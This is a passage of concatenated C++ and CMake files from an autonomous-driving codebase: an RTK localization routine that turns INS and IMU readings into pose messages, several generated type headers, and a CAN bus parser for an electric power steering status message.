PrepareLocalizationMsg(&localization); // publish localization messages AdapterManager::PublishLocalization(localization); //PublishPoseBroadcastTF(localization); ADEBUG << "[OnTimer]: Localization message publish success!"; // RunWatchDog(&localization); } void RTKLocalization::PrepareLocalizationMsg(LocalizationEstimate *localization_dy) { double x = chassis_.ins_longitude(); double y = chassis_.ins_latitude(); x *= DEG_TO_RAD_LOCAL; y *= DEG_TO_RAD_LOCAL; pj_transform(wgs84pj_source_, utm_target_, 1, 1, &x, &y, NULL); // 2. orientation 欧拉角以正北为0,航向角以正东为0 //double CarHeadingAngle=chassis_.ins_headingangle()<-90?-(270+chassis_.ins_headingangle()):-(chassis_.ins_headingangle()-90); // double CarHeadingAngle=-(chassis_.ins_headingangle()-90); // Eigen::Quaterniond q = // Eigen::AngleAxisd(CarHeadingAngle* DEG_TO_RAD_LOCAL, // Eigen::Vector3d::UnitZ()) * // Eigen::AngleAxisd(chassis_.ins_rollangle()* DEG_TO_RAD_LOCAL, Eigen::Vector3d::UnitX()) * // Eigen::AngleAxisd(chassis_.ins_pitchangle()* DEG_TO_RAD_LOCAL, Eigen::Vector3d::UnitY());//欧拉角 Eigen::Quaterniond q = Eigen::AngleAxisd(-chassis_.ins_headingangle()* DEG_TO_RAD_LOCAL, Eigen::Vector3d::UnitZ()) * Eigen::AngleAxisd(-chassis_.ins_rollangle()* DEG_TO_RAD_LOCAL, Eigen::Vector3d::UnitX()) * Eigen::AngleAxisd(-chassis_.ins_pitchangle()* DEG_TO_RAD_LOCAL, Eigen::Vector3d::UnitY());//欧拉角 localization_dy->mutable_pose()->mutable_orientation()->set_qx(q.x()); localization_dy->mutable_pose()->mutable_orientation()->set_qy(q.y()); localization_dy->mutable_pose()->mutable_orientation()->set_qz(q.z()); localization_dy->mutable_pose()->mutable_orientation()->set_qw(q.w()); //坐标偏移 // Eigen::Vector3d v(0.0, 1.4, 0.0); // Eigen::Vector3d orig_pos(x, y,chassis_.ins_locatheight()); // // Initialize the COM position without rotation // Eigen::Vector3d pose_ves = common::math::QuaternionRotate( // localization_dy->pose().orientation(), v); // Eigen::Vector3d com_pos_3d=pose_ves+orig_pos; // localization_dy->mutable_pose()->mutable_position()->set_x(com_pos_3d[0]); // localization_dy->mutable_pose()->mutable_position()->set_y(com_pos_3d[1]); // localization_dy->mutable_pose()->mutable_position()->set_z(com_pos_3d[2]); localization_dy->mutable_pose()->mutable_position()->set_x(x); localization_dy->mutable_pose()->mutable_position()->set_y(y); localization_dy->mutable_pose()->mutable_position()->set_z(chassis_.ins_locatheight()); localization_dy->mutable_pose()->mutable_linear_velocity()->set_x(chassis_.ins_northspd()); localization_dy->mutable_pose()->mutable_linear_velocity()->set_y(chassis_.ins_eastspd()); localization_dy->mutable_pose()->mutable_linear_velocity()->set_z(-chassis_.ins_togroundspd()); if (localization_dy->pose().has_orientation()) { Vector3d orig(chassis_.acc_y(), chassis_.acc_x(), -chassis_.acc_z()); Vector3d vec = common::math::QuaternionRotate( localization_dy->pose().orientation(), orig); localization_dy->mutable_pose()->mutable_linear_acceleration()->set_x(vec[0]); localization_dy->mutable_pose()->mutable_linear_acceleration()->set_y(vec[1]); localization_dy->mutable_pose()->mutable_linear_acceleration()->set_z(vec[2]); } double g=9.8; localization_dy->mutable_pose()->mutable_linear_acceleration_vrf()->set_x(chassis_.acc_y()*g); localization_dy->mutable_pose()->mutable_linear_acceleration_vrf()->set_y(chassis_.acc_x()*g); localization_dy->mutable_pose()->mutable_linear_acceleration_vrf()->set_z(-chassis_.acc_z()*g); if (localization_dy->pose().has_orientation()) { Vector3d orig(chassis_.gyro_y(), chassis_.gyro_x(), chassis_.gyro_z()); Vector3d vec = common::math::QuaternionRotate( localization_dy->pose().orientation(), orig); localization_dy->mutable_pose()->mutable_angular_velocity()->set_x(vec[0]); localization_dy->mutable_pose()->mutable_angular_velocity()->set_y(vec[1]); localization_dy->mutable_pose()->mutable_angular_velocity()->set_z(vec[2]); } localization_dy->mutable_pose()->mutable_angular_velocity_vrf()->set_x(chassis_.gyro_y()* DEG_TO_RAD_LOCAL); localization_dy->mutable_pose()->mutable_angular_velocity_vrf()->set_y(chassis_.gyro_x()* DEG_TO_RAD_LOCAL); localization_dy->mutable_pose()->mutable_angular_velocity_vrf()->set_z(chassis_.gyro_z()* DEG_TO_RAD_LOCAL); //double heading = common::math::QuaternionToHeading( //localization_dy->pose().orientation().qw(), localization_dy->pose().orientation().qx(), //localization_dy->pose().orientation().qy(), localization_dy->pose().orientation().qz()); double heading=chassis_.ins_headingangle()<-90?-(270+chassis_.ins_headingangle()):-(chassis_.ins_headingangle()-90); localization_dy->mutable_pose()->set_heading(heading* DEG_TO_RAD_LOCAL); localization_dy->mutable_pose()->mutable_euler_angles()->set_x(chassis_.ins_rollangle()* DEG_TO_RAD_LOCAL); localization_dy->mutable_pose()->mutable_euler_angles()->set_y(chassis_.ins_pitchangle()* DEG_TO_RAD_LOCAL); localization_dy->mutable_pose()->mutable_euler_angles()->set_z(-chassis_.ins_headingangle()* DEG_TO_RAD_LOCAL); //localization_dy->mutable_pose()->mutable_uncertainty()->mutable_position_std_dev()->set_x(ins_std_lat); AdapterManager::FillLocalizationHeader(localization_dy); localization_dy->set_measurement_time(common::time::TimeUtil::Gps2unix(chassis_.ins_time())); } /*void VINSLocalization::PrepareLocalizationMsg() { double x = chassis_.ins_longitude(); double y = chassis_.ins_latitude(); x *= DEG_TO_RAD_LOCAL; y *= DEG_TO_RAD_LOCAL; pj_transform(wgs84pj_source_, utm_target_, 1, 1, &x, &y, NULL); localization->mutable_pose()->mutable_position()->set_x(x); localization->mutable_pose()->mutable_position()->set_y(y); localization->mutable_pose()->mutable_position()->set_z(chassis_.ins_locatheight()); // 2. orientation 欧拉角以正北为0,航向角以正东为0 double CarHeadingAngle = chassis_.ins_headingangle() < -90 ? -(270 + chassis_.ins_headingangle()) : -(chassis_.ins_headingangle() - 90); Eigen::Quaterniond q = Eigen::AngleAxisd(CarHeadingAngle * DEG_TO_RAD_LOCAL, Eigen::Vector3d::UnitZ()) * Eigen::AngleAxisd(chassis_.ins_rollangle() * DEG_TO_RAD_LOCAL, Eigen::Vector3d::UnitX()) * Eigen::AngleAxisd(chassis_.ins_pitchangle() * DEG_TO_RAD_LOCAL, Eigen::Vector3d::UnitY()); //欧拉角 localization->mutable_pose()->mutable_orientation()->set_qx(q.x()); localization->mutable_pose()->mutable_orientation()->set_qy(q.y()); localization->mutable_pose()->mutable_orientation()->set_qz(q.z()); localization->mutable_pose()->mutable_orientation()->set_qw(q.w()); localization->mutable_pose()->mutable_linear_velocity()->set_x(chassis_.ins_eastspd()); localization->mutable_pose()->mutable_linear_velocity()->set_y(chassis_.ins_northspd()); localization->mutable_pose()->mutable_linear_velocity()->set_z(-chassis_.ins_togroundspd()); if (localization->pose().has_orientation()) { // Vector3d orig(chassis_.acc_y(), // chassis_.acc_x(), // -chassis_.acc_z()); Vector3d orig(chassis_.acc_x(), chassis_.acc_y(), -chassis_.acc_z()); Vector3d vec = common::math::QuaternionRotate( localization->pose().orientation(), orig); localization->mutable_pose()->mutable_linear_acceleration()->set_x(vec[0]); localization->mutable_pose()->mutable_linear_acceleration()->set_y(vec[1]); localization->mutable_pose()->mutable_linear_acceleration()->set_z(vec[2]); } // localization->mutable_pose()->mutable_linear_acceleration_vrf()->set_x(chassis_.acc_y()); // localization->mutable_pose()->mutable_linear_acceleration_vrf()->set_y(chassis_.acc_x()); // localization->mutable_pose()->mutable_linear_acceleration_vrf()->set_z(-chassis_.acc_z()); localization->mutable_pose()->mutable_linear_acceleration_vrf()->set_x(chassis_.acc_x()); localization->mutable_pose()->mutable_linear_acceleration_vrf()->set_y(chassis_.acc_y()); localization->mutable_pose()->mutable_linear_acceleration_vrf()->set_z(-chassis_.acc_z()); if (localization->pose().has_orientation()) { Vector3d orig(chassis_.gyro_x(), chassis_.gyro_y(), chassis_.gyro_z()); Vector3d vec = common::math::QuaternionRotate( localization->pose().orientation(), orig); localization->mutable_pose()->mutable_angular_velocity()->set_x(vec[0]); localization->mutable_pose()->mutable_angular_velocity()->set_y(vec[1]); localization->mutable_pose()->mutable_angular_velocity()->set_z(vec[2]); } localization->mutable_pose()->mutable_angular_velocity_vrf()->set_x(chassis_.gyro_x()); localization->mutable_pose()->mutable_angular_velocity_vrf()->set_y(chassis_.gyro_y()); localization->mutable_pose()->mutable_angular_velocity_vrf()->set_z(chassis_.gyro_z()); localization->mutable_pose()->set_heading(CarHeadingAngle * DEG_TO_RAD_LOCAL); localization->mutable_pose()->mutable_euler_angles()->set_x(chassis_.ins_rollangle() * DEG_TO_RAD_LOCAL); localization->mutable_pose()->mutable_euler_angles()->set_y(chassis_.ins_pitchangle() * DEG_TO_RAD_LOCAL); localization->mutable_pose()->mutable_euler_angles()->set_z(CarHeadingAngle * DEG_TO_RAD_LOCAL); //localization->mutable_pose()->mutable_uncertainty()->mutable_position_std_dev()->set_x(ins_std_lat); AdapterManager::FillLocalizationHeader("localization", localization); localization->set_measurement_time(common::time::TimeUtil::Gps2unix(chassis_.ins_time())); }*/ void RTKLocalization::RunWatchDog(LocalizationEstimate *localization) { // if (!FLAGS_enable_watchdog) { // return; // } // common::monitor::MonitorLogBuffer buffer(&monitor_logger_); // // check ins time stamp against ROS timer // double ins_delay_sec = // common::time::ToSecond(Clock::Now()) - // localization->measurement_time(); // int64_t ins_delay_cycle_cnt = // static_cast<int64_t>(ins_delay_sec * FLAGS_localization_publish_freq); // bool msg_lost = false; // if (FLAGS_enable_gps_timestamp && // (ins_delay_cycle_cnt > FLAGS_report_threshold_err_num)) { // msg_lost = true; // buffer.ERROR() << "Raw GPS Message Lost. GPS message is " // << ins_delay_cycle_cnt << " cycle " << ins_delay_sec // << " sec behind current time."; // buffer.PrintLog(); // } // // to prevent it from beeping continuously // if (msg_lost && (last_reported_timestamp_sec_ < 1. || // common::time::ToSecond(Clock::Now()) > // last_reported_timestamp_sec_ + 1.)) { // AERROR << "gps/imu frame lost!"; // last_reported_timestamp_sec_ = common::time::ToSecond(Clock::Now()); // } } } // namespace localization } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_mode_h #define impl_type_mode_h #include "impl_type_uint8.h" enum class Mode : UInt8 { RECEIVE_ONLY = 0, PUBLISH_ONLY = 1, DUPLEX = 2 }; #endif // impl_type_mode_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_vehiclemodelconfig_h #define impl_type_vehiclemodelconfig_h #include "impl_type_rearcenteredkinematicbicyclemodelconfig.h" #include "impl_type_mlpmodelconfig.h" #include "impl_type_comcentereddynamicbicyclemodelconfig.h" #include "impl_type_modeltype.h" struct VehicleModelConfig { ::ModelType model_type; ::RearCenteredKinematicBicycleModelConfig rc_kinematic_bicycle_model; ::ComCenteredDynamicBicycleModelConfig comc_dynamic_bicycle_model; ::MlpModelConfig mlp_model; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(model_type); fun(rc_kinematic_bicycle_model); fun(comc_dynamic_bicycle_model); fun(mlp_model); } template<typename F> void enumerate(F& fun) const { fun(model_type); fun(rc_kinematic_bicycle_model); fun(comc_dynamic_bicycle_model); fun(mlp_model); } bool operator == (const ::VehicleModelConfig& t) const { return (model_type == t.model_type) && (rc_kinematic_bicycle_model == t.rc_kinematic_bicycle_model) && (comc_dynamic_bicycle_model == t.comc_dynamic_bicycle_model) && (mlp_model == t.mlp_model); } }; #endif // impl_type_vehiclemodelconfig_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_pointllh_h #define impl_type_pointllh_h #include "impl_type_double.h" struct PointLLH { ::Double lon; ::Double lat; ::Double height; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(lon); fun(lat); fun(height); } template<typename F> void enumerate(F& fun) const { fun(lon); fun(lat); fun(height); } bool operator == (const ::PointLLH& t) const { return (lon == t.lon) && (lat == t.lat) && (height == t.height); } }; #endif // impl_type_pointllh_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(routing_gflags routing_gflags.cc routing_gflags.h) target_link_libraries(routing_gflags gflags)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/eps_0x260_260.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Eps0x260260::Eps0x260260() {} const int32_t Eps0x260260::ID = 0x260; void Eps0x260260::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_sassoftlimitrightflg(eps_sassoftlimitrightflg(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_n_loadinfo(eps_n_loadinfo(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_emergencypowerlimit(eps_st_emergencypowerlimit(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_emergencymotor(eps_st_emergencymotor(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_emergencyecu(eps_st_emergencyecu(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_emergencycaninterface(eps_st_emergencycaninterface(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_emergencysensor(eps_st_emergencysensor(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_emergencyovertemp(eps_st_emergencyovertemp(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_emergencyovervoltage(eps_st_emergencyovervoltage(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_emergencyundervoltage(eps_st_emergencyundervoltage(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_f_ecutempvalid(eps_f_ecutempvalid(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_sassoftlimitleftflg(eps_sassoftlimitleftflg(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_n_ecutemp(eps_n_ecutemp(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_n_performanceredu(eps_n_performanceredu(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_st_dtcflag(eps_st_dtcflag(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_rolling_counter_0x260(rolling_counter_0x260(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_sasindexsts(eps_sasindexsts(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_s_warninglampyellow(eps_s_warninglampyellow(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_checksum_0x260(checksum_0x260(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_s_safelampred(eps_s_safelampred(bytes, length)); chassis->mutable_cx75()->mutable_eps_0x260_260()->set_eps_f_loadinfo(eps_f_loadinfo(bytes, length)); } // config detail: {'name': 'eps_sassoftlimitrightflg', 'enum': {0: 'EPS_SASSOFTLIMITRIGHTFLG_NO_LEARNED', 1: 'EPS_SASSOFTLIMITRIGHTFLG_PRIMARY_LEARNED_ONLY_FOR_CEPS', 2: 'EPS_SASSOFTLIMITRIGHTFLG_LEARNED', 3: 'EPS_SASSOFTLIMITRIGHTFLG_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_sassoftlimitrightflgType Eps0x260260::eps_sassoftlimitrightflg(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 2); Eps_0x260_260::Eps_sassoftlimitrightflgType ret = static_cast<Eps_0x260_260::Eps_sassoftlimitrightflgType>(x); return ret; } // config detail: {'name': 'eps_n_loadinfo', 'offset': 0.0, 'precision': 1.0, 'len': 7, 'is_signed_var': False, 'physical_range': '[0|127]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': 'A'} int Eps0x260260::eps_n_loadinfo(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(1, 7); int ret = x; return ret; } // config detail: {'name': 'eps_st_emergencypowerlimit', 'enum': {0: 'EPS_ST_EMERGENCYPOWERLIMIT_NORMAL', 1: 'EPS_ST_EMERGENCYPOWERLIMIT_POWER_DENSITY_LIMIT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencypowerlimitType Eps0x260260::eps_st_emergencypowerlimit(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 1); Eps_0x260_260::Eps_st_emergencypowerlimitType ret = static_cast<Eps_0x260_260::Eps_st_emergencypowerlimitType>(x); return ret; } // config detail: {'name': 'eps_st_emergencymotor', 'enum': {0: 'EPS_ST_EMERGENCYMOTOR_NORMAL', 1: 'EPS_ST_EMERGENCYMOTOR_SERVO_MOTOR_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 17, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencymotorType Eps0x260260::eps_st_emergencymotor(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(1, 1); Eps_0x260_260::Eps_st_emergencymotorType ret = static_cast<Eps_0x260_260::Eps_st_emergencymotorType>(x); return ret; } // config detail: {'name': 'eps_st_emergencyecu', 'enum': {0: 'EPS_ST_EMERGENCYECU_NORMAL', 1: 'EPS_ST_EMERGENCYECU_ECU_INNER_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencyecuType Eps0x260260::eps_st_emergencyecu(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(2, 1); Eps_0x260_260::Eps_st_emergencyecuType ret = static_cast<Eps_0x260_260::Eps_st_emergencyecuType>(x); return ret; } // config detail: {'name': 'eps_st_emergencycaninterface', 'enum': {0: 'EPS_ST_EMERGENCYCANINTERFACE_NORMAL', 1: 'EPS_ST_EMERGENCYCANINTERFACE_CAN_INTERFACE_IS_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencycaninterfaceType Eps0x260260::eps_st_emergencycaninterface(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(3, 1); Eps_0x260_260::Eps_st_emergencycaninterfaceType ret = static_cast<Eps_0x260_260::Eps_st_emergencycaninterfaceType>(x); return ret; } // config detail: {'name': 'eps_st_emergencysensor', 'enum': {0: 'EPS_ST_EMERGENCYSENSOR_NORMAL', 1: 'EPS_ST_EMERGENCYSENSOR_SENSOR_IS_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencysensorType Eps0x260260::eps_st_emergencysensor(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(4, 1); Eps_0x260_260::Eps_st_emergencysensorType ret = static_cast<Eps_0x260_260::Eps_st_emergencysensorType>(x); return ret; } // config detail: {'name': 'eps_st_emergencyovertemp', 'enum': {0: 'EPS_ST_EMERGENCYOVERTEMP_NORMAL', 1: 'EPS_ST_EMERGENCYOVERTEMP_OVER_TEMPERATURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencyovertempType Eps0x260260::eps_st_emergencyovertemp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(5, 1); Eps_0x260_260::Eps_st_emergencyovertempType ret = static_cast<Eps_0x260_260::Eps_st_emergencyovertempType>(x); return ret; } // config detail: {'name': 'eps_st_emergencyovervoltage', 'enum': {0: 'EPS_ST_EMERGENCYOVERVOLTAGE_NORMAL', 1: 'EPS_ST_EMERGENCYOVERVOLTAGE_OVER_VOLTAGE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencyovervoltageType Eps0x260260::eps_st_emergencyovervoltage(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(6, 1); Eps_0x260_260::Eps_st_emergencyovervoltageType ret = static_cast<Eps_0x260_260::Eps_st_emergencyovervoltageType>(x); return ret; } // config detail: {'name': 'eps_st_emergencyundervoltage', 'enum': {0: 'EPS_ST_EMERGENCYUNDERVOLTAGE_NORMAL', 1: 'EPS_ST_EMERGENCYUNDERVOLTAGE_UNDER_VOLTAGE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencyundervoltageType Eps0x260260::eps_st_emergencyundervoltage(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(7, 1); Eps_0x260_260::Eps_st_emergencyundervoltageType ret = static_cast<Eps_0x260_260::Eps_st_emergencyundervoltageType>(x); return ret; } // config detail: {'name': 'eps_f_ecutempvalid', 'enum': {0: 'EPS_F_ECUTEMPVALID_INVALID', 1: 'EPS_F_ECUTEMPVALID_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_f_ecutempvalidType Eps0x260260::eps_f_ecutempvalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(2, 1); Eps_0x260_260::Eps_f_ecutempvalidType ret = static_cast<Eps_0x260_260::Eps_f_ecutempvalidType>(x); return ret; } // config detail: {'name': 'eps_sassoftlimitleftflg', 'enum': {0: 'EPS_SASSOFTLIMITLEFTFLG_NO_LEARNED', 1: 'EPS_SASSOFTLIMITLEFTFLG_PRIMARY_LEARNED_ONLY_FOR_CEPS', 2: 'EPS_SASSOFTLIMITLEFTFLG_LEARNED', 3: 'EPS_SASSOFTLIMITLEFTFLG_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_sassoftlimitleftflgType Eps0x260260::eps_sassoftlimitleftflg(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 2); Eps_0x260_260::Eps_sassoftlimitleftflgType ret = static_cast<Eps_0x260_260::Eps_sassoftlimitleftflgType>(x); return ret; } // config detail: {'name': 'eps_n_ecutemp', 'offset': -70.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[-70|185]', 'bit': 39, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Degree'} int Eps0x260260::eps_n_ecutemp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); int ret = x + -70.000000; return ret; } // config detail: {'name': 'eps_n_performanceredu', 'offset': 0.0, 'precision': 0.5, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double Eps0x260260::eps_n_performanceredu(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 8); double ret = x * 0.500000; return ret; } // config detail: {'name': 'eps_st_dtcflag', 'enum': {0: 'EPS_ST_DTCFLAG_NO_DTC_EXIST', 1: 'EPS_ST_DTCFLAG_DTC_EXIST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_dtcflagType Eps0x260260::eps_st_dtcflag(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(5, 1); Eps_0x260_260::Eps_st_dtcflagType ret = static_cast<Eps_0x260_260::Eps_st_dtcflagType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x260', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Eps0x260260::rolling_counter_0x260(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'eps_sasindexsts', 'enum': {0: 'EPS_SASINDEXSTS_STEERWHEEL_NOT_AT_MIDDLE_POSITION', 1: 'EPS_SASINDEXSTS_STEERWHEEL_AT_MIDDLE_POSITION'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_sasindexstsType Eps0x260260::eps_sasindexsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Eps_0x260_260::Eps_sasindexstsType ret = static_cast<Eps_0x260_260::Eps_sasindexstsType>(x); return ret; } // config detail: {'name': 'eps_s_warninglampyellow', 'enum': {0: 'EPS_S_WARNINGLAMPYELLOW_CLOSE', 1: 'EPS_S_WARNINGLAMPYELLOW_OPEN'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_s_warninglampyellowType Eps0x260260::eps_s_warninglampyellow(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 1); Eps_0x260_260::Eps_s_warninglampyellowType ret = static_cast<Eps_0x260_260::Eps_s_warninglampyellowType>(x); return ret; } // config detail: {'name': 'checksum_0x260', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Eps0x260260::checksum_0x260(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'eps_s_safelampred', 'enum': {0: 'EPS_S_SAFELAMPRED_CLOSE', 1: 'EPS_S_SAFELAMPRED_OPEN'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_s_safelampredType Eps0x260260::eps_s_safelampred(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(7, 1); Eps_0x260_260::Eps_s_safelampredType ret = static_cast<Eps_0x260_260::Eps_s_safelampredType>(x); return ret; } // config detail: {'name': 'eps_f_loadinfo', 'enum': {0: 'EPS_F_LOADINFO_NO_FAULT', 1: 'EPS_F_LOADINFO_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_f_loadinfoType Eps0x260260::eps_f_loadinfo(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 1); Eps_0x260_260::Eps_f_loadinfoType ret = static_cast<Eps_0x260_260::Eps_f_loadinfoType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(ch_vehicle_factory ch_vehicle_factory.cc ch_vehicle_factory.h) target_link_libraries(ch_vehicle_factory ch_controller ch_message_manager 